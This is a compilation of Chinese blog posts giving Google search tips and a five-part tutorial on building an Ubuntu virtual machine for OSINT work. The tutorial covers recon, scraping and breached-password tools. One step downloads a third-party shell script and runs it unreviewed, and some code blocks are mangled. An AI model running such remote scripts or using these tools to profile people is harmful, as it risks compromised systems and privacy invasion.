但对于普通用户来说，或者出于简单的信息验证和追踪的目的，您只需要简单地记住以下10个小技巧即可。

1、使用引号强制进行精确匹配搜索：

“what is javascript”

2、**AND** 运算符将仅返回与前后两个搜索词相关的结果：

html AND css

3、使用 **OR** 运算符来获取与搜索词之一相关的结果

(javascript OR python) free course

4、**-**（减号）运算符将排除包含特定术语或短语的结果：

javascript -css

5、使用 **(*)** 作为占位符，它将被任何单词或短语替换。

“how to start * in 6 months”

6、在单个网站内搜索：

site:freecodecamp.org

7、您还可以使用一个非常有用的功能来帮助查找特定的文件类型。

filetype:pdf learn css

8、搜索一系列数字：

ecmascript 2016..2018

9、使用 **`before`** 运算符只返回给定日期之前的结果

javascript before:2020

10、使用 **`after`** 运算符仅返回给定日期之后的结果

web development after:2020

就是这么简单。记住这10个技巧，将帮助您的日常搜索更加高效。

别忘了，谷歌不是全部。更多见《如果你擅长搜索，你能找到一切：*没有谷歌*的强大搜索世界》。〇

原文

构建你的自定义OSINT机器（第一部分） - iYouPort

开源情报-每个人都可用的武器

顺手的工具和工作环境对调查者来说很重要

「图」

「图」

从 Windows 切换到 Linux 的原因有很多，虽然不仅仅是为了 OSINT。

Linux 非常稳定，几乎不会出现崩溃状况；

而且，能够以无限多种方式自定义工作区，并能够轻松集成 **GitHub** 中不断增长的 **OSINT** 工具。

这意味着 Linux 对调查者来说是一个更高效的工作环境。

nixintel 对此做了很多介绍。本指南将分为五部分内容，您将能由此体验到，做一个专业的调查人员事实上可以很容易。

DIY Buscador

OSINT 社区中的大多数人都会在某些时候使用 Mike Bazzell 的 IntelTechniques 网站。

不幸的是，一些恶意的家伙为他的网站带来了很多问题，Mike 现在必须在没有工具的情况下运行他的网站，但幸运的是他的 Buscador OSINT 虚拟机仍然可以在这里下载。

Buscador 本身是一个基于 Ubuntu 的定制 Linux 虚拟机。因此，作为一个小项目，我决定使用新发布的 Ubuntu 19.04 作为基本操作系统，为 OSINT 工作创建一个 DIY-Buscador 机器，展示它有多容易做到 。

本系列文章（共五部分）将展示如何创建专用的 **Linux OSINT** 虚拟机，并使用各种工具对其进行自定义。

本系列选择的工具与原始 Buscador 中的工具有很多重叠，但这一系列文章将展示如何从 Ubuntu 软件中心轻松安装您想要的任何软件，通过使用命令行从 GitHub 安装工具。

本指南假设您对虚拟机或 Linux 没有太多经验，但最终您将能够以零成本构建自己的强大 **Linux OSINT** 虚拟机，并以您喜欢的方式自定义它。

要求

1、安装 VirtualBox。Windows 的在这里获取；Linux 的在这里获取；Mac 的在这里获取。

像 Manjaro、Mint 和 Ubuntu 这样的 Linux 发行版的存储库中已经有 Virtualbox 了，可以直接安装。

2、从这里下载 Ubuntu 19.04 Desktop ISO 的副本。

3、需要最低 2.0ghz 的处理器速度，2GB的RAM和20GB的磁盘空间。

在本指南中，DIY-Buscador 虚拟机将分配4GB的RAM和30GB的磁盘空间，这足以让它顺利运行。

入门

安装 Virtualbox 后，单击“新建”以创建新虚拟机。

输入要创建的虚拟机的名称，并指定机器类型。

在本案例中，该机器将被称为 Buscador DIY；类型将是“Linux”；版本将是 Ubuntu 64位。

「图」

「图」

设置RAM。 Ubuntu 19.04至少要求2GB，但**4GB**的运行速度会更顺畅：

「图」

「图」

创建虚拟硬盘。

这是您的虚拟机将被分配以运行的空间。忽略那个将大小设置为10GB的建议—它太小了。

在创建完成后再增加虚拟机硬盘的大小是非常困难的，因此最好在创建的时候就选一个大一点的而不是太小的硬盘。

「图」

「图」

选择硬盘文件类型。 VDI是默认设置，保持原样就可以了。

「图」

「图」

为硬盘文件类型选择动态分配：

「图」

「图」

设置虚拟硬盘的大小。在这个例子中，我将它设置为30GB，当然，您可以根据自己的 OSINT 需求选择最合适的大小。

例如，如果您要下载很多视频，那么您会希望将它更大一点。

「图」

「图」

点击“创建”后。右键单击刚刚创建的 Buscador-DIY 机器，然后选择“设置”。

将视频内存调整到最高位置（本例中为128mb）并选择启用3D加速。

「图」

「图」

在“常规”下，将“共享剪贴板”和“拖动”选项设置为“双向”。这将允许您在主机和OSINT机器之间轻松移动文件：

「图」

「图」

现在机器几乎准备好开始了。在“设置”中，转到“存储”。在光驱的右侧，单击磁盘图标。

导航到您下载 Ubuntu 19.04 ISO 文件的文件夹并选择它。

「图」

「图」

Ubuntu 安装盘位于虚拟机的虚拟驱动器中。单击“开始”以首次启动它并开始安装 Ubuntu。

选择您的语言（建议非母语），然后单击“安装 Ubuntu”。有一些本地设置，如时区等，构成安装过程的一部分，但这里没有图示。

「图」

「图」

选择正常安装，安装时下载更新，最重要的是允许安装第三方驱动程序。

并非所有 Linux 爱好者都对此感到满意，但它将使操作系统在未来遇到障碍的可能性降低。

「图」

「图」

选择擦除磁盘并在出现提示时安装 Linux（请记住这是指您刚创建的虚拟硬盘，而不是实际的主操作系统，所以不用担心）：

「图」

「图」

系统将提示您创建将成为管理员的用户，设置管理员密码，然后设置机器的名称。

这里选择了用户名 ’nixintel’，机器将被称为 diy-buscador，但你可以选择任何你喜欢的名字。

确保您不会丢失或忘记密码非常重要。如果你把自己锁在机器外面了，没有简单的方法可以恢复它。

单击“立即安装”后，Ubuntu 将开始自行安装。您可以听首歌或者再喝点什么。

我这里的安装时间不到十分钟，但时间可能会因您自己的硬件设置而异。

「图」

「图」

单击立即重新启动以完成安装：

「图」

「图」

当计算机重新启动时，它会提示您删除安装介质，即插入虚拟驱动器的虚拟磁盘。这时只需按 Enter 键即可。

「图」

「图」

现在使用在设置期间创建的密码登录：

「图」

「图」

全部完成！安装了 Ubuntu 19.04 并准备将其转换为自定义OSINT机器。

首次启动时，它会向您介绍软件中心，您可以选择安装数千个应用程序。

这也是管理软件更新以及可以删除不需要的程序的地方。

最好先更新系统，如果出现提示，请执行此操作。

在 Ubuntu 和 Mint 系统中，更新是在后台完成的，您可以在更新过程中继续使用本机。

「图」

「图」

你可以轻松调整窗口大小。如果愿意，甚至可以在全屏模式下运行 VM。

「图」

「图」

在软件中心预览中，其中一个推广应用是 VLC 媒体播放器。我想在 OSINT 构建中包含它。

只需单击“安装”，输入密码即可在出现提示时对其进行授权，程序将在几秒钟后自行安装。

此外不需要做任何事。谁说使用 Linux 很难？

「图」

「图」

这是创建自己的 DIY Buscador OSINT 机器的第一部分内容（也是最难的部分，后面就容易多了）。

在本指南的下一部分中，将介绍如何安装软件中心已有的一些有用的 OSINT 工具；以及如何设置 Pip、Python 和 Git 来安装一些专业命令行工具，如Sherlock、Cloudflair、Photon 和 Twint。对于 Chrome 和 Firefox，还有一些有用的浏览器扩展。

下次见。〇 广告

原文

构建你的自定义OSINT机器（第三部分） - iYouPort

开源情报-每个人都可用的武器

本文是这一话题的继续（全部内容共五部分）。与之前一样，这篇文章依旧针对的是那些对 **Linux** 经验很少或没有经验的人。

「图」

「图」

这里是全部五部分内容的第三部分，将展示如何使用类似于 Buscador 的自定义 Linux OSINT 虚拟机。

第一篇文章展示了使用 Virtualbox 和 Ubuntu Linux 创建虚拟机，第二篇文章展示了如何直接从 Ubuntu 软件中心安装一些对调查很有用的应用程序。

如果您还没有读过前两部分，在这里看到“第一部分”、“第二部分”。

不需要任何命令行修改 —— Ubuntu 的一个优点就是它允许以简单的图形方式安装大多数软件包，这对于那些习惯于 Windows 或 Mac 环境的人来说更容易学习。

安装 **Google Earth**

谷歌地球毫无疑问是 OSINT 工作中最重要的工具，专注于地理定位和验证。

默认情况下，它不是 Ubuntu 软件中心的一部分，但本指南将介绍如何下载和安装它，然后再查看可以通过这种方式从 Web 下载和安装的其他一些关键 OSINT 调查工具。

在此处访问 Google 地球网站，然后单击链接进行下载。

Google 会检测到您正在运行 Linux 并提示您选择包类型。

Ubuntu（以及 Mint，Kali，Debian 和许多其他 Linux 发行版）使用.deb包进行安装，因此是这样：

「图」

「图」

选择“打开方式”（这里是默认设置），单击“确定”。然后程序将下载必要的安装文件。

「图」

「图」

然后 Ubuntu 会告诉你它已经识别出一个存储库。存储库是程序将接收其更新和补丁的软件源。

单击“安装”并允许 Ubuntu 添加 Google Earth 软件存储库并安装该程序。请注意，并非所有程序都有这样的软件存储库。

「图」

「图」

安装完成后，通过开始菜单找到 Google 地球专业版并单击它以运行。

就是这么简单！一如既往地右键单击启动图标，然后选择“添加到收藏夹”将启动图标固定到工具栏菜单。

「图」

「图」

互联网上有数百个程序可用于OSINT，可以使用.deb软件包轻松安装。以下是您要考虑的一些内容。

适用于 **Linux** 的 **OSINT** 友好软件

谷歌浏览器：自从 Chrome 宣布它将很快停止允许广告拦截器和反跟踪软件在其浏览器中运行后，很多人都宣布将转而使用 Firefox。这

是绝对正确的。

我更喜欢 Firefox（并且它很容易切换）但目前 Chrome 仍然是一个必要的恶魔，因为它是唯一支持 Hunchly 的浏览器。

Hunchly：用于网络调查的最佳日志记录和证据捕获工具。如果您注重证据逻辑链，那么 Hunchly 就是必不可少的。

在本系列中介绍的所有工具中 Hunchly 是唯一一个需要付费的。

目前是12个月的费用为100美元。如果有一天 Hunchly 能与 Firefox 兼容，我会果断卸载 Chrome。

Maltego：仍然是对您正在进行 OSINT 研究的主题之间进行可视化和映射连接的最佳工具。您需要在安装后创建帐户（免费 ）。

我们介绍过它的多种用途，例如《社交媒体情报和反情报基本工具手册：自我人肉（2）》；《侦查和欺骗：这里是社交工程攻击必备的技术工具》；《开源调查工具：情报地图、“黑客搜索”,及其他#OSINT》等等。

它真的很强大，对于调查人员来说，它可以满足您很多需求。

在下一篇文章中将展示如何使用命令行安装一些额外的 OSINT 调查程序，然后展示如何配置 Ubuntu 来运行和安装一些最强大的 OSINT 程序，如 Spiderfoot，theHarvester，Twint 和 Sherlock。○□ 广告

原文

构建你的自定义OSINT机器（第二部分） - iYouPort

开源情报-每个人都可用的武器

继续前文：本文的目标是帮您挑装备

「图」

「图」

上一篇文章中介绍了如何基于 Ubuntu Linux 创建自定义的 OSINT 虚拟机。如果您还没有看到，在这里回顾《第一部分》。

本文是这一话题的继续（全部内容共五部分）。

与之前一样，这篇文章依旧针对的是那些对 Linux 经验很少或没有经验的人。

本文将介绍 Ubuntu 软件中心中可用于 OSINT 的一些应用程序。

Ubuntu 软件中心：安装应用程序

本指南将首先展示如何安装 Stegosuite。

Stegosuite 是一个易于使用的隐写术程序，允许您隐藏和提取在图像文件中不可见的信息。

我们介绍过隐写术，一定程度上它比密码学更安全，详见这里《隐写术的小心机》。

下面就是做法。

首先打开软件中心并搜索“stegosuite”：

「图」

「图」

单击应用程序并选择安装：

「图」

「图」

系统将提示您输入密码。

如果您习惯于 Windows 环境会觉得这样不寻常的，但它是 Linux 不可或缺的一部分，也是 Linux 系统通常被认为更安全的一个原因。

在 Linux 中，没有像你下载、点击和运行的.exe文件那样的东西。Linux 只对文件是否具有运行权限感兴趣。

如果它没有权限，则不允许运行。

「图」

「图」

安装需要一些时间。您可以直接从软件中心单击启动，也可以从开始菜单访问该程序。

「图」

「图」

单击开始菜单（左下角），然后键入“steg”以查找 Stegosuite。点击它即可启动。

要将程序永久添加到工具栏，只需右键单击图标并选择“添加到收藏夹”。

「图」

「图」

要删除您不想要的程序，只需在软件中心找到它并选择“删除”即可。

在下面的图片中默认删除了 Ubuntu 附带的亚马逊应用程序，因为我们不需要它。

「图」

「图」

使用起来非常简单。这里有一个视频演示如何使用：

还有其他介绍隐写技巧的视频：

目前为止我们已经展示了如何安装 VLC 和 Stegosuite，但软件中心还有许多其他应用程序可用于 OSINT 构建。

重申 Libre Office 已预先安装了 Ubuntu。

以下这些是可从软件中心安装的一些建议程序：

照片，视频和音频工具

GIMP—强大的图像和照片编辑软件。

Flameshot—非常强大的截图和图像捕捉工具。这是我最喜欢的截图工具。

Shotwell—用于组织图像集（预装）

Audacity—强大的音频编辑器

SoundConverter—将音频文件转换为不同类型。

Darktable—管理和编辑 RAW 图像。允许您编辑地理标记。

Photoflare—简单的图像编辑器。

SimpleScreenRecorder—许多有用的功能。让您录制全部或部分屏幕。用于记录您的工作以用于证据目的，或捕获难以下载的视频，例如 SnapMap 视频或实时流式传输的内容。

Peek—一个非常基本的屏幕录制工具。

浏览器

Tor 浏览器—访问暗网。

Chromium—谷歌 Chrome 的基础，但没有侵入性的附加功能。

杂技

Amass—网络扫描工具，可发现子域、关联的IP块并映射结果。

Zenmap—Nmap 的 GUI 版本，是最知名的网络扫描工具。

Wireshark—你是否需要这个取决于你正在做的是什么样的研究。它允许您捕获和监控网络流量。

Transmission—点对点文件共享应用程序（预安装）。

telegram 客户端—对于 OSINT 构建来说不是必需的，但它是一个流行的通信平台。如果您要移交虚拟机的哈希副本以供证据使用，建议您将所有通信单独保存在主机上，除非它们与案例不可分割。

Organize My Files—保持工作井井有条。它有一个很好的GUI。

PDFsam—允许您拆分和排序PDF文件。

Bleachbit—允许安全的删除文件避免被取证。

Kate—简单但功能强大的文本编辑器。

KeepassX—密码管理器。它在本地存储密码而不是 LastPass 等其他地方。使用 AES 或 Twofish 加密。

Yubico Authenticator—允许您在计算机上为使用双因素身份验证的帐户生成一次性密码。

好啦，以上是第二部分内容。下一部分将介绍如何使用.deb软件包直接安装应用程序，然后再继续说明如何安装和配置一些更高级的基于 Python 的 OSINT 工具。

一共五部分内容哦。希望在发布完成时您可以拥有并熟练使用安全的深度调查工作环境。真相挖掘事业很难指望职业记者。下次见。〇 广告

原文

构建你的自定义OSINT机器（第五部分） - iYouPort

开源情报-每个人都可用的武器

现在马上就能大功告成了

「图」

「图」

这里是本系列的最后一部分，专注于保护工作。

如果您还没有读过前面的部分，可以在这里回顾：“第一部分”、“第二部分”、“第三部分”、“第四部分”。

本系列文章的前四个部分介绍了如何构建自己的自定义 Buscador 风格 OSINT 虚拟机 —— 这是一个能帮助您成为专业人士的工作环境。

本指南全部内容均适用于对 Linux 和/或开源情报 OSINT 的入门级人士，并且第五部分会继续这一原则。

也就是说，使用本指南不需要任何基础，只要您对真相感兴趣，并愿意模仿，它就是您的。

本文将介绍如何克隆和备份虚拟机以及如何将其导出到其他计算机上。

备份和克隆虚拟机

虚拟机的一大优势正是如此，一旦你创建了它、并且按照你喜欢的方式设置它，就可以精确地克隆机器。

这有几个好处。

首先，如果您花了很长时间创建虚拟机，并根据需要进行了自定义，则克隆意味着可以按照完整的工作顺序制作 VM 的精确副本。

这样一来，即便虚拟机被破坏或损坏至无法修复，也可以通过使用克隆轻松创建新虚拟机，而不必担心从头开始的麻烦。

其次，您的OSINT研究很可能需要被用作公司调查、执法或其他一些法律程序的某种证据（情报不是简单的信息，情报结论必须指导具体行动）；所以，您可以采用 “一个调查案例一个VM” 的方法，在一个 VM 中完成所有工作，然后保存、散列和导出。

尤其对于大型的调查项目来说，这样做很有必要。

Virtualbox 非常容易实现克隆。确保 VM 已关闭，并且在主 Vbox 菜单中看起来像这样：

「图」

「图」

现在只需右键单击它，然后选择“克隆”：

「图」

「图」

然后给克隆机器起个名字：

「图」

「图」

选择“完全克隆”作为类型：

「图」

「图」

几分钟后，Virtualbox 就会生成第二个虚拟机，它与第一个完全相同。

「图」

「图」

出于备份目的，可以简单地创建虚拟机的快照，而不是进行完整克

隆。

如果出现问题或想要尝试新设置，创建快照会为您提供一个还原点，以便在需要时返回。

关于如何做快照，可以参看这个视频：

简单说就5步：

1) 完全关闭虚拟机

2) 在 VirtualBox 菜单中，单击右上角的 Snapshots 按钮

3) 点击蓝色相机图标“take a snapshot”

4) 创建名称和任何注释以提醒您机器的状态，例如“新安装” 等等。

5) 单击“确定”。

您现在可以正常使用虚拟机。如果您想要恢复到快照时存在的机器确切状态，请按照以下说明操作：

1) 完全关闭虚拟机

2) 在 VirtualBox 菜单中，单击右上角的 Snapshots 按钮

3) 选择要应用的所需快照

4) 点击带箭头的蓝色相机图标“恢复快照”

5) 单击“还原”

完成。

或者，如果您想要删除快照，只需使用带有红色X的图标。这将删除数据文件以消除浪费的空间，但是一旦删除就无法恢复。

导出虚拟机

您还可以保存和导出虚拟机。

这意味着它可以转移或共享到其他设备如 Buscador。

要在 Virtualbox 中导出VM，只需转到文件」导出设备」选择要导出的VM」选择 OVA。

OVA 和 OVF 格式（理论上）兼容 Virtualbox 和 VMWare。

OVA 是一个更简单的单文件包，而 OVF 将虚拟机拆分为几个不同的文件。OVA 文件适用于小型、简单的 VM。

简单说 **VirtualBox**

VirtualBox 是免费的，足以满足大多数调查的需要。

一些用户更喜欢使用适用于 Windows 的 VMWare Workstation 或适用于 Mac 的 VMWare Fusion 。当然，任何这些选项都可以帮助您入门。

VirtualBox 安装和配置（极简陈述）：

- 请确保您有最新版本的 VirtualBox 和 VirtualBox 扩展包安装

1）在 VirtualBox 菜单中，单击文件」导入设备

2）导航到下载的 OVA 文件（Buscador）

3）选择此文件并选择“导入”

4）在启动新机器之前，突出显示它并选择“设置”

5）在 General」 Basic 下，根据需要重命名该机器（Buscador？）

6）在“General 」 Advanced”下，将“共享剪贴板”更改为“双向”

7）在 System」 Motherboard 下，如果你有足够多的资源，就增加 RAM

8）在 “Display 」 Screen” 下，将视频内存增加到128MB可用

9）在共享文件夹下，单击右侧的“加号”，选择要存储证据的文件夹，选择“自动挂载”

10）单击“确定”两次，然后启动新机器（双击）

11）启动后，使用 osint 密码登录用户

12）在 VirtualBox 菜单中，选择 Devices」“Insert Guest Additions CD Image”

13）弹出对话框时单击“取消”。

14）打开终端（Tilex）

15）在终端中创建一个名为 vbox: mkdir ~/Desktop/vbox 的目录

16）将桌面上所有内容复制到粘贴到 vbox 文件夹

17）在终端中，输入以下命令：

cd Desktop/vbox

chmod +x *.sh

./autorun.sh

(出现提示时输入密码)

18）允许安装映像，并在完成后重新启动。

19）在新VM中启动终端并键入 sudo adduser osint vboxsf

20）根据需要提供密码

21）重新启动

您现在应该可以访问共享目录，以便将数据（也就是您的调查证据）保存到主机操作系统。在文件管理器（主页）中找到，开头是 “sf_” 后跟着它所连接的文件夹的名称。

此共享文件夹也将位于桌面上，以便于访问。您可以使机器全屏，复制和粘贴图像，然后您就可以开始使用这些应用程序了。

此外，您可以使用 **Yubikey** 作为从虚拟机登录的双因素验证：

在终端复制/粘贴每一行，然后单击 Enter：

wget "https://raw.githubusercontent.com/Yubico/yubikey-personalization/master/69-yubikey.rules" -O /tmp/69-yubikey.rules

wget "https://raw.githubusercontent.com/Yubico/yubikey-personalization/master/70-yubikey.rules" -O /tmp/70-yubikey.rules

sudo mv /tmp/69-yubikey.rules /etc/udev/rules.d/69-yubikey.rules

sudo mv /tmp/70-yubikey.rules /etc/udev/rules.d/70-yubikey.rules

完全关闭 Buscador；

将 Yubikey 插入计算机；

VirtualBox 」设置」端口」 USB」单击带绿色“＋”的图标，选择 Yubikey，单击确定；

移除 Yubikey；

启动虚拟机，进入 Buscador；

插入 Yubikey；

连接 Yubikey，在 VirtualBox 」 Device 」 USB ；

在终端中，键入：

wget “https://raw.githubusercontent.com/beast-fighter/saves_the_day/master/activate_yubikey.sh"

chmod ＋x activate_yubikey.sh

./activate_yubikey.sh

出现提示时，按Enter键；

提示“提交”时，键入y并按Enter键；

彻底关闭 Buscador；

移除 Yubikey；

重启系统；

插入 Yubikey，登录（成功）您可能需要尝试两次密码。

最后这部分是可选的。完成导出时您已经完成了所有必要的工作，可以开始您最伟大的调查工作了。

随着真相事业的价值越来越高，希望能有更多中国朋友加入进来。好运！〇 广告

原文

构建你的自定义OSINT机器（第四部分） - iYouPort

开源情报-每个人都可用的武器

开始安装更多有用的深度调查工具啦

「图」

「图」

上一篇文章介绍了如何直接从 Internet 安装一些有用的 Linux OSINT 程序。这篇文章将展示如何安装一些流行的基于 Python 的 OSINT 工具。

如果您还没有读过前面的部分，可以在这里回顾：“第一部分”、“第二部分”、“第三部分”。

使用命令行也许很容易让人感到恐惧，但是本指南将以最简洁的方法说明这其实没有想象中那么难。

Python 非常适合执行大量重复性任务并快速排序数据。这些工具比大多数基于浏览器的工具要快得多。

本指南将逐步安装 theHarvester 的侦查工具，从绝对基础一直到使用自定义别名启动它。

然后将解释如何安装其他侦查工具，如 Photon，Sublist3r 和 Gasmask，用户名搜索工具 Sherlock，社交网络 Twitter（Twint）和 Instagram（Instalooter）的抓取工具，电话号码侦查工具 PhoneInfoga 和密码破解检查工具 h8mail。

听起来似乎很多，但是一旦你理解了这些程序是如何工作的，就可以从 Github 克隆它们并将它们用于你的研究，非常简单。

于是只要画出一只猫，后面就能有一堆老虎。

安装入门—基础知识

这些程序通常没有一个特别漂亮的用户界面，就像你从 Ubuntu 软件中心安装的那些程序一样。

这可能会使它们看起来很复杂，但是在本指南的最后，您将能够安装各种功能强大的 OSINT 工具。

本指南适用于 **Linux** 新手，因此会从一开始就尝试覆盖所有内容。

在 DIY-Buscador Ubuntu 机器中，按 Ctrl + Alt + T 打开终端。你会看到这样的画面：

「图」

「图」

如果您以前从未使用过终端，也不用担心；计算机不关心指令是来自您单击的闪亮 GUI 还是直接在终端中键入命令。

就如上篇文章中展示的如何通过在 Ubuntu 商店中找到并安装 Stegosuite 一样，点击“安装”并输入管理员密码以授予其运行权限。

在终端中，输入以下命令效果可以完全相同：

```
sudo apt install stegosuite
```

你会看到 sudo 提示输入管理员密码并确认该程序已被授权运行。

Apt 只是 Ubuntu 用来管理软件包的程序，因此添加 ’install’ 告诉 apt 我想要它做什么，而 stegosuite 告诉 apt 我要在我的系统上安装数千个可用的 Ubuntu 软件包中的哪一个。

所以这个命令会做什么很明显：

```
sudo apt remove stegosuite
```

请注意，如果您尝试使用不带 sudo 的 apt，Linux 不会允许。如果您未获得授权，则不允许您修改软件或操作系统的任何部分。（在一些较旧的教程中您可能会看到“apt-get”而不是“apt”，但它们会做同样的事）

搞个 **Git**

使用 sudo apt install programname 适用于 Ubuntu 存储库中列出的程序 —— 但是这里没有列出任何我们想要安装的OSINT Python工具。

想要的东西都在 GitHub 上，因此要在 OSINT 机器上安装它们，必须使用一个名为 git 的程序。

一些工具也可以使用另一个名为 Pip 的程序安装，后面慢慢说。

Git 是开发人员用于软件版本控制的复杂工具，但就本指南而言，只需要知道 Git 允许您将软件直接从 GitHub 克隆到您的计算机上，就够了。

在控制台中，通过输入以下命令来检查 Ubuntu 中安装的 git 版本：

```
git --version
```

你会被告知没有安装 git。因为默认情况下它不是 Ubuntu 的一部分，所以快速将其添加到您的 OSINT 构建中，这样：

```
sudo apt install git
```

出现提示时按Y键，git 将在几分钟后安装。

Pip & Python

默认情况下，Python 随 Ubuntu 一起安装，但了解它附带的两个不同版本非常重要。可以在以后拯救一个痛苦的世界。

控制台类型：

```
python --version
```

「图」

「图」

你会被告知 Ubuntu 正在运行 Python 2.7.16 版本。

主要问题是从2020年开始不再支持 Python 2.7，现在大多数 Python 程序都运行 Python 3；幸运的是，Ubuntu 也预装了 Python 3 来解决这个问题。

在控制台类型中：

```
python3 --version
```

这表明要使用 Python 3.7.3 而不是 Python 2.7，必须使用命令 python3 而不仅仅是 python。

用 **Pip** 安装

Pip 是 Python 的包管理器。它确保在您安装 Python 程序时，还将安装所有必需的库和模块。

通常这些要求列在名为 requirements.txt 的文本文件中，因此安装所有必需的插件会很简单：

```
sudo pip install -r requirements.txt
```

正如 pip 与 Python 2.7 一样，pip3 也与 Python 3 结合在一起。因此，如果程序说使用 pip3 安装需求，那就键入：

```
sudo pip3 install -r requirements.txt
```

关于 pip3 的另一个好处是它允许你用一个简单的命令安装一堆 Python 程序。这比从 GitHub 构建软件更清晰、更容易。稍后介绍如何以这种方式安装 Twint。

因此，为了获得最佳实践，请使用以下准则：

1、如果您可以选择直接使用 pip 进行安装（例如 h8mail 或 Twint），那就请使用 pip；

2、如果不能，请使用 git；

3、如果程序使用 Python 2.7，只需在控制台中使用 python 和 pip；

4、如果程序使用 Python 3（即大多数）在控制台中使用 python3 和 pip3；

5、大多数教程通常假设您以 root 用户身份运行；但在这个版本中，总是需要将 sudo 放在任何 pip 或 pip3 命令之前。

安装 **theHarvester**

依旧建议您尝试，而不仅仅是阅读，试着做一下就会印象非常深刻。

下面将演示如何安装 Harvester。

theHarvester是一个成熟的工具，社交工程神器，它通过搜索引擎、PGP 服务器以及 SHODAN 数据库收集用户的 email，子域名，主机，雇员名，开放端口和 banner 等信息。

theHarvester Github 页面可以在这里找到：https://github.com/laramies/theHarvester

此 **URL** 很重要，因此请从浏览器的导航栏中复制该 URL 并将其保留在剪贴板中。

使用 Ctrl ＋ Alt ＋ T 打开终端并输入以下内容，您只需使用 Ctrl ＋ Shift ＋ V（而不仅仅是常规桌面上的 Ctrl ＋ V）将您复制的 URL 粘贴到终端中：

```
git clone [[https://github.com/laramies/
theHarvester|https://github.com/laramies/
theHarvester]]
```

现在，git 将所有在 GitHub 上发布的文件直接克隆到主目录中名为 theHarvester 的文件夹中。 git 完成克隆后：

```
cd theHarvester
```

（注意终端区分大小写）

cd 只是意味着“更改目录”。要列出目录的内容，只需输入：

```
ls
```

你会看到这样的画面：

「图」

「图」

那里有一个名为 requirements.txt 的文件。

在运行 Harvester 之前，需要使用 pip3 安装这些 Python 库。在控制台中输入以下内容：

```
sudo pip3 install -r requirements.txt
```

然后 Pip 将安装所需的额外软件：

「图」

「图」

就是这么简单。现在一切都完成了！

要运行 Harvester，请留在 Harvester 目录并输入：

```
python3 theHarvester.py -h
```

请注意，如果您键入了 python 而不是 python3，程序将无法运行，因为它需要较新版本的 Python。

所有这个命令都在告诉 python3 运行一个名为 theHarvester.py 的脚本。

末尾的 -h 标志告诉脚本打开程序的帮助指南。

如果它正常工作你会看到这样的画面：

「图」

「图」

解释如何使用 Harvester 超出了本文的范围，今后可以单独讲，它的确是个神器。

这样就完成了 Harvester 的安装 —— 请记得可以对我们的 OSINT 构建设置进行定制，这将使得使用 Harvester 变得更加平滑。

theHarvester 别名快捷方式

在开始每个查询之前键入 “python3~ / theHarvester / theHarvester.py” 会让人觉得有点烦。

幸运的是，在 Linux 中很容易DIY，因此可以创建一个别名快捷方式。这可以通过编辑控制所有终端设置的 .bashrc 文件来完成。

再次按 Ctrl ＋ Alt ＋ T 打开终端，然后输入：

```
nano ~/.bashrc
```

Nano 只是终端的内置文本编辑器。这将打开需要编辑的 .bashrc 文件。打开时，滚动到底部并添加以下行：

```
#alias for theHarvester alias
theharvester='python3 ~/theHarvester/
theHarvester.py'
```

使用 Ctrl + X 退出，并在提示询问您是否要保存更改时点 Y。

「图」

「图」

现在关闭终端，然后打开一个新终端，以使更改生效。

现在输入：

```
theharvester -h
```

您也可以运行该命令直接启动查询，例如：

```
theharvester -d somerandomsite.org -b google -l
500
```

这是从 GitHub 安装 Python 程序的基本公式。在本文的其余部分将解释如何使用 pip 安装程序。

用 Pip 安装 Twint

Pip 使安装包更容易，这里将展示它可以如何用来安装 Twint。

Twint 是一个非常灵活的 **Twitter** 刮刀。它从 Twitter 获取各种数据，并将其导出为各种格式，如 csv 或 SQL。

Twint GitHub 页面的链接就在这里。

请注意，与 Harvester 不同，Twint 可以使用 Git 或 Pip 安装（或者甚至使用 Python 虚拟环境，这不在本指南的范围内）。

根据上面提到的经验法则，如果要在 Git 或 Pip 之间做出选择，请始终使用 Pip。

在终端中复制并粘贴以下内容：

```
sudo pip3 install --upgrade -e git+https://
github.com/twintproject/twint.git@origin/
master#egg=twint
```

记得在命令前加上 sudo，否则你将无法运行它。一旦完成，只需输入：

```
twint -h
```

你会看到程序安装正确！甚至不需要创建别名，因为 Pip 在安装过程中会自动执行此操作。

示例用法是：

```
twint -u nixintel -o nixinteltweets.csv --csv
```

这将从 Twitter 帐户中删除所有推文并将其保存到 csv 文件以供进一步分析。

安装其他 **Python OSINT** 程序

本指南已经展示了如何设置自定义 OSINT 机器，以便使用 Git 或直接使用 Pip 来安装程序。

接下来将介绍一些其他有用的 OSINT 工具，它们的作用，安装它们的必要命令以及 .bashrc 文件中创建别名所需的条目。

出于本文的目的，我已经在我的 DIY-Buscador VM 中安装了所有这些程序，因此我保证所有这些方法目前都可以使用。

Instalooter

「图」

「图」

GitHub Page: https://github.com/althonos/InstaLooter

从指定的 Instagram 帐户中抓取内容。需要IG登录但没有API密钥。

Git or Pip? ：Pip

控制台命令：

```
sudo pip3 install instaLooter (note upper-case L)
```

使用：

```
instalooter -h (note lower case L)
```

Alias: 默认情况下自动安装

H8mail 2.0

「图」

「图」

GitHub Page: https://github.com/khast3x/h8mail

PyPi Page: https://pypi.org/project/h8mail/

H8mail 是一种用于在违规检查或侦察服务中查找密码的开箱即用解决方案。

无论您是OSINT工具的新手还是高级用户，您都会发现使用它的价值。

在大规模数据收集方面，数据集越大就越强大，分析的机会就越多。

h8mail 能够从.txt读取，输出到.csv，并使用其输出重新定位，使您能够大规模增加数据库和OSINT功能。

Git or Pip: Pip

控制台命令：

```
sudo pip3 install h8mail
```

使用：

```
h8mail -h
```

Alias: 默认

Photon

「图」

「图」

GitHub page: https://github.com/s0md3v/Photon

我们介绍过 Photon 它是一个高效的OSINT爬虫。可以提取网址、电子邮件、文件、网站帐户等。

Git or Pip: Git

控制台命令：

```
git clone https://github.com/s0md3v/Photon cd
Photon sudo pip install -r requirements.txt
python3 photon.py -h
```

Alias:

```
alias photon='python3 ~/Photon/photon.py'
```

Sherlock

「图」

「图」

GitHub Page: https://github.com/sherlock-project/sherlock

Sherlock 是一个快速的用户名搜索器。也是非常好用的调查工具。

Git or Pip? Git

控制台命令：

git clone https://github.com/sherlock-project/sherlock

```
cd sherlock sudo pip3 install -r requirements.txt
python3 sherlock.py -h
```
Alias: `alias sherlock='python3 ~/sherlock/sherlock.py'`

使用：

```
sherlock nixintel
```

Gasmask

「图」

「图」

GitHub Page: https://github.com/twelvesec/gasmask

也是一种类似于 Photon 或 Harvester 的自动侦察工具。请注意，此程序使用Python 2.7运行。

Git or Pip? ：Git

控制台命令：

```
git clone https://github.com/twelvesec/gasmask cd gasmask sudo pip install -r requirement.txt python gasmask.py -h
```

Alias:

```
